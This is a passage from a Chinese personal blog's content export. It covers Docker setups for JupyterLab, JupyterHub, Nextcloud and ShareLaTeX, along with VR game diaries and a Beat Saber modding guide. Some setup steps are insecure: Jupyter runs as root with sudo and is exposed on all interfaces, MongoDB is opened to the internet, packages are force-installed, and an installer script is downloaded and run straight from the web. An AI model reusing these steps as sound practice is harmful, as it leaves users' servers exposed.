pull 127.0.0.1:5000/jupytercgrads 2mkdir jupyterlabjupyterlab 3docker run --name jupyter -d -p 8000:8888 --restart=always -v `pwd`/jupyterlab/workspace:/workspace -w /workspace -e GRANT_SUDO=yes --user root 127.0.0.1:5000/jupytercgrads jupyter-lab --no-browser --port=8888 --ip=0.0.0.0 --allow-root 【 2020-02-17 12:58:00 更新】 我把镜像上传到阿里云仓库了，可以通过一下代码拉取。\n1docker pull registry.cn-shanghai.aliyuncs.com/bugatii100peagle/jupytercgrads 配置登录密码 进入Docker镜像中，启动Ipython交互端\n1docker exec -it jupyter bash 2ipython 输入\n1from notebook.auth import passwd 2passwd() 会要求你输入密码，不会显示，输两遍就行\n1Enter password: 2Verify password: 3Out[3]: \u0026#39;sha1:记下这串数字\u0026#39; 新建配置文件\n1jupyter lab --generate-config 或者在已有的配置文件/home/jovyan/.jupyter/jupyter_notebook_config.py中添加\n1c.NotebookApp.ip = \u0026#39;*\u0026#39; 2c.NotebookApp.password = \u0026#39;sha1:刚刚那串串数字\u0026#39; 3c.NotebookApp.allow_remote_access = True 保存，退出镜像，重启镜像\n1docker restart jupyter 打开浏览器，输入http://IP:8000就能看到下图输密码，而不是输Token，这样只要用密码登录就行了。\n多用户配置 配置jupyterlab的参考\n如何用一台服务器给多个 Jupyter 用户提供服务\nJupyterLab远程访问配置方法（CentOS7）\n云服务器搭建神器JupyterLab（多图）\ndocker stop jupyter Docker で JupyterLab を起動し、token 入力なしでアクセスする\njupyter notebook 安装 C/C++ kernel\njupyter-kernel\nJupyterlab 的安装与配置\nWhat is the password for using \u0026ldquo;sudo apt-get install\u0026rdquo; command? #949\njupyterlab /jupyterlab-latex 利器|JupyterLab 数据分析必备IDE完全指南\nykatsu111 /jupyter-grads-kernel brendan-rius /jupyter-c-kernel Jupyterhub安装 其实安装JupyterLab已经够个人使用了，如果要多用户管理可以试试JupyterHub。但是我除了用Docker安装成功外，另外用pip和conda都安装失败了。 参考 实验室工作站jupyterhub安装笔记\nDocker安装JupyterHub Using Docker，docker 安装jupyterhub支持R语言中看起来也不难，没有烦人的配置。\n下载好后让它跑起来，然后进入镜像。\n1docker run -p 8000:8000 -d --name jupyterhub --restart=always jupyterhub/jupyterhub 2docker exec -it jupyterhub bash 带路径文件的启动，首先在宿主机上新建文件夹/root/jupyterhub/jupyterhub/和/root/jupyterhub/home/，然后用如下命令启动。\n1docker run -p 8000:8000 -d --name jupyterhub -v /root/jupyterhub/jupyterhub/:/srv/jupyterhub -v /root/jupyterhub/home/:/home --restart=always jupyterhub/jupyterhub_build jupyterhub 在镜像中新建用户，默认不能用 root登录。\n1useradd admin 2passwd admin 会要求你输入密码，你看不见，输入两次一样的就行。\n更新pip,更新jupyterhub\n1pip install --upgrade pip 2pip install --upgrade jupyterhub 3pip install notebook --upgrade 然后就可以从浏览器通过http://IP:8000访问了，输入刚刚新建的用户名和密码。\n失败的方法参考 下载Anaconda 手动从清华anaconda源下载anaconda-5.3.0的安装包，加执行权限然后bash执行。\n1wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-5.3.1-Linux-x86_64.sh 2chmod +x Anaconda3-5.3.1-Linux-x86_64.sh 3bash Anaconda3-5.3.1-Linux-x86_64.sh 说一下这个安装过程中的问题，别一路憨憨就过去了。首先是回车继续安装\n然后会给你看一堆文件，问你接受条款么？不用管，直接yes完事。\n接着问你启动命令要不要加到bashrc里，填yes，错过了的同学也可以参考Jupyterhub安装配置及心得手动加上。\n最后问你要不要VSCode编辑器，咱在服务器上配置不用装，填no，在笔记本上装，可以yes。其实jupyter自带的Spyder编辑器也不错，VSCode编辑器使用起来也不错，看个人喜好。\n装完记得重载一下配置\n1source ~/.bashrc conda安装Jupyterhub 添加清华源，然后升级一下，再安装。卡死请参考使用conda命令下载jupyter时一直在Solving environment卡死\n1conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ 2conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge 3conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ 4conda config --set show_channel_urls yes 5conda upgrade --all # 先升级一下，不然会很慢 6conda install -c conda-forge jupyterhub 7conda install jupyterlab 用pip安装Jupyterhub 使用pip，速度杠杠滴。\n1python3 -m pip install jupyterhub -i https://pypi.douban.com/simple/ 2npm install -g configurable-http-proxy 3python3 -m pip install --upgrade notebook -i https://pypi.douban.com/simple/ 但是我参考Jupyterhub安装配置及心得设置后的jupyterHub，页面打不开，显示Not Found,终端也报错。\n","date":"2020-02-13T16:43:59Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/19/cc49e7b5ae07e.jpeg","permalink":"/post/jupyterlab%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE%E6%95%99%E7%A8%8B/","title":"jupyterLab安装配置教程"},{"content":"之前的教程丢掉为知笔记用Nextcloud，不用hexo-admin也能实现一键发布中初步配置了Nextcloud还有onlyoffice的安装，但是使用中经常还有这个那个的问题出现。\nonlyoffice的SSL设置 上一次不会用反向代理，搞个SSL搞得我差点又要重装。后来发现了宝塔的这个宝藏功能，操作非常顺滑。简单到让我怀疑自己之前的智商。上一篇我把onlyoffice设置好了，端口9000可以访问，也就是浏览器中用http://IP:9000打开。\n然后，上域名解析中心，添加一个解析记录，主机记录填only,记录值填你的ip\n然后上SSL管理中心申请一个证书下载。（阿里云签发证书挺快的10分钟左右吧）\n在宝塔中新建一个网站，不用建立数据库和FTP。然后设置反向代理，就把域名定向到9000端口了。\n在网站上配置SSL\n配置成功，这样就可以在Nextcloud中启用全站https了。（PS：手机端的Nextcloud也可以链接了）\nNextCloud上传文件大小限制 Nextcloud/ownCloud上传大于512MB的文件的相关配置中有提到可以修改php配置，在宝塔面板中操作更简单。\n找到软件商店，点击PHP设置\n把红框里的数都改大一点，根据你服务器的性能做调整。\n在nextcloud设置界面看一下。\n这样就可以上传大文件了，客户端上传依旧慢，没办法，但是大文件是可以传了，只是传输效率问题了。\n概览报错和警告 虽然概览中的报错大多数都可以不管，也不会影响基本使用，但是它膈应啊。受不了就参考宝塔面板部署NextCloud（16.0.0）逐一解决后台安全及设置警告一个一个撸顺就行。\n其他一堆可能有用的链接\n最新版nextcloud+onlyoffice（docker）安装步骤\n使用Docker部署ONLYOFFICE Document Server\n宝塔面板下nextcloud完美优化配置\n将 Android 上日历同步到 Nextcloud\nNextcloud配置过程中提示Invalid hash - .user.ini的解决办法\n宝塔面板部署NextCloud逐一解决后台安全及设置警告\n","date":"2020-02-13T15:40:57Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2019/11/03/e6b46dd15e86e.png","permalink":"/post/nextcloud%E9%85%8D%E7%BD%AE%E9%97%AE%E9%A2%98%E5%8F%8Aonlyoffice%E7%9A%84ssl%E8%AE%BE%E7%BD%AE/","title":"Nextcloud配置问题及onlyoffice的SSL设置"},{"content":"那一天杀手B终于想起了他的神级外挂“Time moves only when you move”简称“我不动敌不动”，这个中文翻译的有点别扭，之前一直没反应过来“前进时时间前进”是什么意思。\n现在我面前有个小红人，怼他。后面还有两人，我不动，不动，看准机会，怼他，嘿，再来一拳。\n最后一轮，我看一下，三个，小case，我打，来啊。哎哟，大哥你这姿势有点骚啊。\n又到了见证奇迹的时刻。\n飞镖的操作是“trriger”键抓取，“pad↑”键释放，对准目标后一扬手，就中了。多练习练习就熟练了。嘿，看我飞不死你，腿部中弹也行？\n我们来试试，试试就试试。\n哎呀，好险，这枪档子弹不错嘛，啥型号沙漠之鹰？\n还记得我在这里解锁了“野性暴发”的成就。\n又到了这个登机口，让我把枪砸过来。我砸，啧啧，真疼。\n后面有个拿枪的，先在柜子这苟着，干掉这两个没枪的。计算器、马克杯、烟灰缸、机场安检的工作压力也不小嘛。哇，这玻璃，刚没看到。\n先干掉叛徒。不急，让他走过来送枪，第一个手枪的子弹应该快没了。好嘞，枪到手。我擦，果然没子弹了，谢谢大哥送子弹。\n你准备好了吗？终于我还是拿起了这把枪。拿出你的诚意？怎么个诚意法？投币三联加关注？喔，瞄头，那瞄吧。\n我现在是回到一个小房间，好像是这个杀手B的小房间，那么7分钟新手教程就走完了，我用了不到5分钟吧,这期节目就到这里了。\n特殊时期也请大家一定要注意，勤洗手。\n我是Bugatii100P，你可以叫我杀手B先生，下期我会讲一讲我的职业生涯了。\n","date":"2020-02-09T16:35:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/01/13/85fc94667151a.png","permalink":"/post/%E6%B8%B8%E6%88%8F%E6%B5%8B%E8%AF%84-superhot_vr-%E9%82%A3%E5%A4%A9%E4%BB%96%E7%BB%88%E4%BA%8E%E6%83%B3%E8%B5%B7%E4%BA%86%E5%A4%96%E6%8C%82%E5%AF%86%E7%A0%81/","title":"【游戏测评】#SuperHot_VR# 那天杀手B他终于想起了外挂密码"},{"content":"最近买了很多游戏来学习（玩），这个SupeHot也是我刚花了78人民币买的。启动后，我看到它推荐我花7分钟过一下新手教程，我也没多想，就开始了。 首先开局就是一把枪，拿起之后敌人就出现了。 这个游戏对暴力元素的处理很巧妙，首先是人物模型，不是那种追求真人效果的模型，而是用几何的处理方法。其次，对于血的处理，这里的飙血特效是像玻璃杯脆裂一样的效果，连音效也是“刺啦刺啦”的，减轻了血腥元素引起的不适感。讲真，有时候我反而会喜欢那种脆裂的声音，从感官上满足了玩家对“暴力-破坏”的某种追求。\n不多说，直接看视频吧。\n","date":"2020-01-13T19:53:02Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/01/13/85fc94667151a.png","permalink":"/post/%E6%B8%B8%E6%88%8F%E6%B5%8B%E8%AF%84-superhot_vr-%E6%88%91-%E6%98%AF%E4%B8%AA%E8%8F%9C%E9%B8%9F%E6%9D%80%E6%89%8B-%E8%8E%AB%E5%BE%97%E6%89%8B%E9%80%9F/","title":"【游戏测评】#SuperHot_VR# 我，是个菜鸟杀手，莫得手速"},{"content":"参考自：\n节奏光剑安装mod插件详细教程\n将更新后的VR游戏恢复成旧版本\n节奏光剑1.0.1调整与添加第三人称相机教程\nsteam上的Beat Saber设置 首先，推荐安装Beat Saber（以下简称BS）的1.5.0版本，这个版本的支持比较全，如果steam设置了自动更新，那么你的BS可能已经比1.5.0高了。\n如何查看BS版本号 打开steam库文件夹，注意路径必须全英文（否则Mod无法运行），不是的修改移动一下即可。 依次点击steamapps → common → Beat Saber文件夹，打开BeatSaberVersion.txt文件查看 如何回退BS至1.5.0版本 右键单击Steam桌面图标，点击最下边的属性，再目标一栏后面加 -console，点击确定 推出当前steam，重载steam，点击用户名后的console字样，在终端输入\ndownload_depot 620980 620981 2831333980042022356 注意下载完了把-console去掉改回去\n将下载好的1.5.0版的文件直接覆盖到steam库文件夹下的BS目录，注意提前做好备份新版本的BS.\n启动BS，测试安装成功\nMOD插件安装 上Github下载页面，点击下载.exe文件即可\n双击程序运行，左下角选择1.5.0版本，选择相应mod安装即可。参考 节奏光剑安装mod插件详细教程 必选CameraPlus以设置相机位置。\n相机位置设置 BS文件夹下，选择UserDate→ CameraPlus文件夹\n照如下截图修改.cfg文件，或直接下载cfg文件。 重载BS，效果如图。 ","date":"2020-01-12T23:37:50Z","image":"https://www.vrfocus.com/wp-content/uploads/2019/03/Beat_Saber_Key_Art-1024x576.jpg","permalink":"/post/%E6%B8%B8%E6%88%8F%E6%95%99%E7%A8%8B-beat-saber-%E5%AE%89%E8%A3%85mod%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%8D%A2%E8%A7%92%E8%89%B2%E6%A8%A1%E5%9E%8B%E4%B8%8E%E8%AE%BE%E7%BD%AE%E7%9B%B8%E6%9C%BA%E4%BD%8D%E7%BD%AE/","title":"【游戏教程】Beat Saber 安装mod并实现换角色模型与设置相机位置"},{"content":"VRchat号称世界上最贵的免费游戏，steam平台上它是免费的，但是如果要完美体验“VR”的chat，还必须有一台VR设备，从头盔到手柄和VRread电脑，少说也要4位数吧！想我这样的穷学生自然是买不起的，不过我实验中心的老板十分舍得在设备上砸钱，这个四位数的问题解决了。\n平常这设备自然是不能拿来搞事情的，但现在期末了嘛，项目也结了，学生们也在紧张地复习（预习）期末考试，而我这个无所事事的大四狗看着同样无所事事的设备，对管理老师说：\n“哎，您看这设备闲着可不？要不来点维护维护（搞事）啥的……”\n然后，我就拿过设备搞事情了。\nsteam 账户注册与 VRChat 下载 对，我之前是一个不玩游戏的乖宝宝，这是我第一次注册steam，感觉仿佛在做坏事呢，呵呵呵。 注册没有什么大问题，目前steam除了好友列表仿佛是因为“The Great Wall”的原因访问有点问题外，注册和下载游戏没有什么大问题。\n在steam商店界面搜索VRcaht即可找到下载\nHTC Vive 二代 VR设备安装和配置 虽然只有一台笔记本也可以玩VRchat，也就是VR玩家说的“PC玩家”或“人棍玩家”，但是没有“VR”的Chat和某鹅某信有什么区别。关于安装官方拍摄的视频演示的很清楚，虽然是英文的，不过听不懂也没关系照着样子装就行了。那两个方盒子要固定好，按后面的按钮调整一个“b”一个“c”。线什么的，看接口形状插，可以说每根线接口特征很明显，怼上去就完事了。\n配置什么的，下载steam VR，自动安装的，你只需要在合适的时候点next就行了。最后运行房间设置，圈一块5平米的空地就可以开黑了。\n登录VRchat 设置形象 下载好VRchat后，点击运行以VR模式启动。刚登陆进去会教你基本的瞬移操作，按下图3键指定位置，松开后瞬移。这个功能非常好用，冬天的早上起床，我都恨不得用这个功能瞬移到教室答个到，然后再瞬移回被窝。\n走完教程，来到VRchat Home，一个初始场景，你的初始状态是这样的： 这个火柴人显然不太符合我的形象，我们来换个造型。按压你手柄的菜单键，也就是HTC Vive手柄上有三个杠的那个按钮，也就是上图中1那个按钮\n在跳出的菜单中选择Avatar或者下图右边洞洞的那个Big AI's Avater Coddidors的那个场景。\n好了，我换了个企鹅造型。 看我洁白的毛，光滑的背，还有那周润发般帅气的大背头，乌黑发亮的大眼睛（编不下去了） 进入房间 好的，现在可以进入world选一个房间了，VRchat的玩家进到一个新场景优先去的地方是WC，因为有镜子。镜子除了可以欣赏自己的盛世美颜之外，还有一个重要功能就是“交友”。\n不过我在这个WC前驻足良久，决定还是不要进去了。镜子嘛，多数房间不止有一面镜子，玩家们总是聚集在镜子前做各种沙雕行为，或者就单纯的站着。像这样，这样，这样的。\n奇怪的房间 我发现一个奇妙的房间，这个房间只能有两个人，名字听着就很和谐。当然，我这样的single dog 只能一个人玩。\n辣眼睛警告，警告，警告三连。\n看着柔和的灯光，典雅厚重的窗帘，遮光良好。\n看这美腿\n看这眼神\n仿佛在说\n好的，不闹了， 我真的很好奇，在VRChat升级加入保护距离后，这个房间要怎么玩？保护距离是为了保护玩家不被人恶意“摸”，骚扰而设置的，简单来说，就是假如张三进入到了你的保护距离，你就看不见他的模型（形象）了。也就是说进入到这个房间的人除了互相干瞪眼外啥都干不了。即便是好友解锁了保护距离，然后呢，这个房间大概是给全身追踪的大佬准备的吧。\n语言问题 VRchat中大多数人都会用英语交流，或者使用几个简单的单词配合肢体语言表达自己的意思。但VRchat的玩家不局限于英美，在这里你可能会听到各种语言。像下图的那只驴子直升机，一上来就飙了一串毛式弹舌（我一句都没听懂）\n还有日本，韩国的玩家，他们会建自己语言的房间。比较著名的国际级交流的房间（一般用英语的）有The Great Pug The Black Cat The room of rain\n英语不好也没关系，咱还有中文吧，是一个泛舟星海的场景，非常贴合国人习惯，还布置了很多羽毛笔，给不方便开麦的玩家。以及，非常符合政策的垃圾分类。\n探索房间 除了中文吧，我比较喜欢去The Great Pug，虽然俺英语还没过六级，口语只会一点简单句，这个房间即使不开麦也挺好玩的。今天偶然发现这个房间有5层楼，之前以为只有两层（我这个路痴）。\n就是这个入口，连上三层有两个大圆桌\n圆桌会议的既视感\n这里放了一把西洋剑\n楼上的夜景简直美哭了，好想就这么躺下了看星星，进入黑甜乡。\n怎么受欢迎 Avater 是皮，多数人都是围着好看的模型。称VRChat是大型多人在线换装游戏也不过分。不过选Avater不要选太大的，以及太复杂的。大模型会遮挡其他玩家的视线，复杂模型加载慢，影响你的画面和声音传输。\n如果你不想太惹眼，选个普通的模型就好，我是奔着交朋友学语言去的，所以选择了一个非常有吸引力的模型。\n也有满足虚荣心的成分吧，现实中缺什么，就在虚拟的世界中要什么，比如CUP。\n这个模型是中文吧的模型房提供的，更有趣的是，表情会随手势变化，给做模型的人点赞。\nHTC 的手柄暂时没有手势追踪的功能，这个手势是通过触摸全盘上的键位实现的。\n还有什么玩法 除了照镜子，最常见的大概就是堆盘子玩了，比如这样\n倒了也不要紧，反正不会被妈妈打，这些“不可伤害”物体也不会碎。人物模型的高度决定你能堆多高，这个狐狸小哥模型比我高一个头，就能把黄色酒杯堆上去。\n这个黄色酒杯的位置已经比我的模型高了，我够不到了，然后小哥轻松拿起酒杯堆上去，他帅气的样子没截到图，我还原一下，大概是这样。\n帅就完事了，鼓掌，Clap，老夫的少女心炸裂了，哈哈哈！\n","date":"2020-01-09T22:31:24Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/01/09/ceea449f74dff.jpg","permalink":"/post/%E6%88%91%E5%9C%A8vrchat%E9%87%8C%E6%90%9E%E4%BA%8B%E6%83%85/","title":"我在VRChat里搞事情"},{"content":"上接华为云鲲鹏安装Docker跑ShareLatex【失败放弃】\n环境准备 新机子到手首先\n1sudo apt update 2sudo apt upgrade 安装Docker 参考ubuntu 18.04 安装docker ce卸载旧版本Docker，新机子不用，给重装的老机子用。\n1sudo apt-get remove docker docker-engine docker.io 安装包以允许通过HTTPS使用存储库\n1sudo apt-get install \\ 2 apt-transport-https \\ 3 ca-certificates \\ 4 curl \\ 5 software-properties-common 添加Docker的官方GPG密钥\n1curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 确认指纹\n1sudo apt-key fingerprint 0EBFCD88 设置稳定存储库，默认最新版\n1sudo add-apt-repository \\ 2 \u0026#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu \\ 3 $(lsb_release -cs) \\ 4 stable\u0026#34; 再次更新apt包索引\n1sudo apt-get update 安装最新版本的Docker CE\n1sudo apt-get install docker-ce 查看Docker CE 版本\n1docker -v 通过运行hello-world映像验证是否正确安装了Docker CE\n1sudo docker run hello-world 学生机上述过程丝滑流畅，毫无问题。突然有点想念刚刚退掉的鲲鹏，他可是折磨了我两天，为他茶不思饭不想！\nDocker-compose docker/compose官网仓库有发布最新的版本，同时也给出了命令行安装方法。\n1curl -L https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose 2chmod +x /usr/local/bin/docker-compose 如果你要是嫌服务器自己curl速度慢的话可以再终端中uname -s-uname -m看自己服务器的参数选择对应版本下载即可，浏览器中下载还挺快的，推荐下载神器IDM，然后用ftp把下载的docker-compose文件传到服务器，再对应地修改目录加权限。\n上传好后验证文件完整性\n1sha512sum docker-compose-Linux-x86_64 我下载的是docker-compose-Linux-x86_64.1.23.0,官网给出的值是5b6f948a264a2c018a124b3cae0ce788f14b94a37ab05ca3ba3bb8622f5b7d0b，然而我换了几个版本的我验证出来的sha56值都不是这个，大约是我搞错了验证方式？不过能用的就可以。\n移动到/usr/local/bin/文件夹并加权限。\n1mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose 2chmod +x /usr/local/bin/docker-compose 测试Docker-compose 可用\n1docker-compose -v 安装Sharelatex 拉取镜像\n1sudo docker pull sharelatex/sharelatex 参考ShareLaTeX安装、配置与部署新建文件夹\n1cd ~ 2mkdir sharelatex 3cd sharelatex 4mkdir sharelatex_data 5mkdir mongo_data 6mkdir redis_data 下载overleaf官方的docker-compose.yml到sharelatex文件夹下。\n使用docker-compose 启动部署\n第一次运行docker-compose会自动拖取镜像mongo和redis，我上一篇在鲲鹏上想尝试的手动安装mongodb代替docker-compose的功能就是这张图的启发。\n1sudo docker-compose up -d -d参数可以让docker在后台执行，不加-d的话就会在终端输出一大串状态，而且你还得一直保持着终端挂着。\n到这里就换到使用Docker部署ShareLaTex并简单配置中文环境的教程来，进入容器的命令行（sharelatex容器本质上是一个Ubuntu）\n1docker exec -it sharelatex bash 下载并运行升级脚本\n1wget http://mirror.ctan.org/systems/texlive/tlnet/update-tlmgr-latest.sh 2sh update-tlmgr-latest.sh -- --upgrade 更换texlive的下载源，例如国内的清华源\n1tlmgr option repository https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/tlnet/ 升级tlmgr\n1tlmgr update --self --all 安装完整版texlive（漫长的等待，不要让shell断开）\n1tlmgr install scheme-full 等上一步跑完，退出sharelatex的命令行界面，并重启sharelatex容器\n1exit 2docker restart sharelatex 然后在浏览器打开你的IP地址，如果改了端口的加上对应端口，第一次使用会提示注册管理员账号。\n中文编程使用xelatex，虽然有报错，但是不影响 参考overleaf-Chinese和]LaTeX技巧856：在overleaf平台上使用CTeX可以直接使用Ubuntu自带的字体无需自己手动安装字体。\n1\\documentclass{article} 2\\usepackage{CJKutf8} 3\\begin{document} 4 5\\begin{CJK*}{UTF8}{gbsn} 6\\section{前言} 7\\section{关于数学部分} 8数学、中英文皆可以混排。You can intersperse math, Chinese and English (Latin script) without adding extra environments. 9\\end{CJK*} 10 11\\bigskip %% Just some white space 12You can also insert Latin text in your document 13\\bigskip %% Just some white space 14 15\\begin{CJK*}{UTF8}{bsmi} 16這是繁體中文。 17\\end{CJK*} 18 19\\begin{CJK}{UTF8}{min} 20\\section{これは最初のセクションである} 21日本語で \\LaTeX の組版を実証するための導入部分。 22フォントはまた、数学的な形態および他の環境で使用することができる 23\\end{CJK} 24 25\\bigskip 26Outside the environment Latin characters may be used. 27 28\\begin{CJK}{UTF8}{} 29\\CJKfamily{mj} 30전체 문서에 대한 기본 정보를 소개 단락. 31\\begin{verbatim} 32그것은 간격 방법을 참조 그대로 글꼴을 테스트 33\\end{verbatim} 34\\end{CJK} 35 36Latin characters are also allowed. 37 38\\end{document} Quick Start Guide官网还有像设置https，设置语言一类的教程，感兴趣可以再看看。\n","date":"2019-11-09T14:08:25Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/blog/20191108/211113256.png","permalink":"/post/%E5%8D%8E%E4%B8%BA%E4%BA%91%E5%AD%A6%E7%94%9F%E6%9C%BA%E8%A3%85sharelatex/","title":"华为云学生机装ShareLatex"},{"content":"双十一当我舍友在纠结剁手买哪条漂亮裙子，哪个闪亮包包时，我在纠结剁手买哪家的服务器。双十一周我都在疯狂剁手服务器，就是为了能搞一个 ShareLatex 玩玩，之前阿里的学生机跑的服务太多，带不动了。我数数，弄了个博客，一个 Nodeppt, 一个 Nextcloud 网盘，一个图床，一个 JupyterLab:database 魔装C内核与 grads 。\n如果能再有一台服务器就好了，可是阿里的学生认证只能用一次，而阿里云学生机以外的套餐仿佛在嘲讽我的钱包一般。\n于是，我盯上了其他两大云服务器商腾讯和华为，果然也有学生套餐。腾讯云的不说了，初次体验不太好，带宽低，啥都干不了。华为云的我趁着活动抢到一个免费15天的鲲鹏。\nBut，毕竟不是熟悉的Ubuntu，熟悉的X86，要吃饭还得自己造锅。我记得阿里的镜像中像camke，gcc一类的东西时默认安装的，上手就用，我从来没有操心过这些底层一类的问题。我一般的习惯会安装一个宝塔面板或者WDCP，安装Docker-compose的时候也各种报错，直到我看到WDPC的提示，没有安装gcc！即使这样，饭还是要吃，锅那就造吧。\n安装Docker 参考鲲鹏云服务器 Docker 安装指南（CentOS 7.5/Ubuntu 18.04）此处使用Centos7.5，我从Ubuntu换过来的，Ubuntu下面的问题太烦，走不通，我也懒得去纠结了。\n行得通的步骤【失败了，留着以后复盘】 环境准备 安装GCC 默认的yum源非常慢，参考CentOS 7 rpm安装gcc 详解可以戳下面这个链接\nhttp://mirror.centos.org/altarch/7/os/aarch64/Packages/ 下载如下几个rpm包，注意与图中不同的时不要x86_64是aarch64。\n下载好后，用Winscp或者MobaXterm的左边栏文件夹上传到服务器，在终端输入如下命令，会自动按顺序安装。\n1rpm -Uvh *.rpm --nodeps --force 安装Dockers 1yum repolist all 查询仓库状态，设置为“enabled”状态\n1yum-config-manager --enable \u0026#34;CentOS-7 - Extras - mirrors.huaweicloud.com\u0026#34; 这一步有时会提示yum-config-manager： command not found ，参考CentOS7： yum-config-manager： command not found解决方案如下：\n1yum -y install yum-utils yum-config-manager完了以后，执行以下命令安装Docker的依赖包。\n1sudo yum install -y yum-utils device-mapper-persistent-data lvm2 卸载旧版本，一般新机器不需要，啥都没有卸啥。给需要重装的朋友：\n1sudo yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate 配置软件仓库。\n1sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo 安装docker-ce。\n1sudo yum install docker-ce docker-ce-cli containerd.io 我到这一步就成功了，如果还没有成功或者网速太慢的朋友可以参考原帖鲲鹏云服务器 Docker 安装指南（CentOS 7.5/Ubuntu 18.04）通过下载软件包安装的方式安装。\n测试Docker\n1docker run hello-world 如果出现执行docker ps命令，出现 \u0026ldquo;Cannot connect to the Docker daemon at unix:///var/run/docker.sock. \u0026hellip;\u0026ldquo;问题那是你Docker服务没开，service docker start就行。\n装mongo的时候手滑选了什么关闭iptable firewalld selinux 之类的重启后登录不了，只有刷机重装。第二次，一堆报错。\n退订买学生机 安装Sharelatex 首先拖镜像\n1docker pull sharelatex/sharelatex 华为云的速度倒是挺快的，差不多十分钟吧就拖下来了。\ndocker-compose问题 [交流分享] 鲲鹏平台安装docker-compose参考我退订了才发现这个帖子，或许可以解决，有精力的同学可以试试，我先缓缓，折腾不动了。\n拖下镜像后无论是overleaf官网的Quick Start Guide，还是国内仅有的几篇sharelatex教程：使用Docker部署ShareLaTex并简单配置中文环境，ShareLaTeX安装、配置与部署都要求使用docker-compose up来跑sharelatex的镜像，可是docker-compose的安装又十分有问题。我参考bash: docker-compose: command not found中的两种方法，github和pip安装都没解决问题，pip安装报错\u0026quot;ImportError: No module named collections\u0026rdquo;，然而我也没有找到好的解决办法。\n安装pip3，用pip3装compose，我就不信了。\n1yum -y install python3-pip 2pip3 install docker-compose 参考Python踩坑之路，Command \u0026ldquo;python setup.py egg_info\u0026rdquo; failed with error code 1，嗯，依旧没有解决，无论是pip还是pip3。\n解决方案\n参考ArchLinux 部署ShareLaTex并且配置中文支持了解到，之所以要docker-copose是因为要sharelatex还要安装mongodb及redis这两鬼东西才能跑，而docker-compose的功能就是自动安装并通过端口把sharelatex与mongodb及redis通过端口连接。换句话说，如果我们手动安装mongodb及redis，手动配置端口，人肉代替docker-compose的功能的话，理论上这个装不上的docker-compose不用装也可以。那么，可能就是手动安装会麻烦些。\n安装redis 1yum install redis 修改配置文件/etc/redis.conf，开放ip。\n安装mongobd 【成功拖下镜像，不带端口参数可run，但是没用】 [交流吐槽]#化鲲为鹏，我有话说# 求鲲鹏云 ubuntu 安装mongodb教程 论坛大佬给了一个Ubuntu的Mongodb下载链接，不过似乎使用也有问题，可以留着以后试一试。\nMongodb在Centos上需要手动编译安装，而且官网也只有x86_64的版本。\n不过，我记得在阿里云学生机上成功安装ShareLatex成功Docker-compose的时候，Docker-compose执行了pull mongo类似的命令，那么，我们现在既然有了Docker，当然要用起来啊，大胆地pull！\n参考centos中docker mongodb 配置配置密码，虽然ArchLinux 部署ShareLaTex并且配置中文支持中说到在公网要关闭27017端口，但是我们正是为了要访问，而且也可以通过配置密码的方式来保护。\n其他 安装宝塔面板 【失败】 在安装GCC之后，检查你的云服务器安全组。放行如下端口\n然后在终端运行\n1yum install -y wget \u0026amp;\u0026amp; wget -O install.sh http://download.bt.cn/install/install_6.0.sh \u0026amp;\u0026amp; sh install.sh 可能会提示出错，缺少某个模块。面向Bing或者Google搜索安装方法补上就行。\n下接华为云学生机装ShareLatex\n","date":"2019-11-08T21:10:00Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/blog/20191108/211113256.png","permalink":"/post/%E5%8D%8E%E4%B8%BA%E4%BA%91%E5%AE%89%E8%A3%85sharelatex/","title":"华为云鲲鹏安装Docker跑ShareLatex【失败放弃】"},{"content":"之前，我写了一篇如何将Nodepp和Hexo博客，还有为知笔记私有云Dokcer服务配置在一个服务器上的文章。我写文章的时候为知笔记还不支持私有云保存微信文章，然而在我配置完不久后他就更新了Docker，支持剪藏，不过年费199元，仅限五人以下。\n正在我纠结要不要付费的时候，我之前常用的同步网盘Mega空间到期，而它官网被墙，导致我连手动释放都弄不了，只有放弃。你说为啥不用国内某盘，我只能说一声呵呵。🙂\n我终于打算用自己的服务器搭建一个网盘了，在众多自建网盘中我选择了NextCloud，因为它界面看起来简洁优雅(对，我就是这么颜狗），还有PC和移动端，必要符合我的使用情况。终于翻遍各种教程，搭建好了之后，我的学生机宕了。比较是学生机，对他要求也不能太高了是吧。\n服务器Ubuntu18.04, 已安装Node10.16.0，宝塔面板, Docker\n安装Nextcloud并挂载阿里云OSS 从官网下载最新版本[]的包，此处17 在下载的同时先在服务器上配置依赖环境 上传.tar.gz包到网站目录，解压，刷新浏览器登录 安装依赖 依赖安装挺麻烦的，尤其是配置PHP7.2，可以先一边登录官网下载 .tar.gz 包一边配置依赖。 宝塔面板环境配置如下图\n1apt-get install apache2 mariadb-server libapache2-mod-php7.2 2apt-get install php7.2-gd php7.2-json php7.2-mysql php7.2-curl php7.2-mbstring 3apt-get install php7.2-intl php-imagick php7.2-xml php7.2-zip 安装Nextcloud 将.tar.gz包上传到服务器解压，刷新浏览器。默认账户admin，密码12345678，点击链接数据库。初次登录加载会有点慢。\n错误提示：PHP zip未安装\n检查依赖是否安装，重启服务器，注意切换为PHP7.2\n你看官网给的依赖安装的命令都是7.2的，说明还未支持PHP7.3\n挂载阿里云OSS 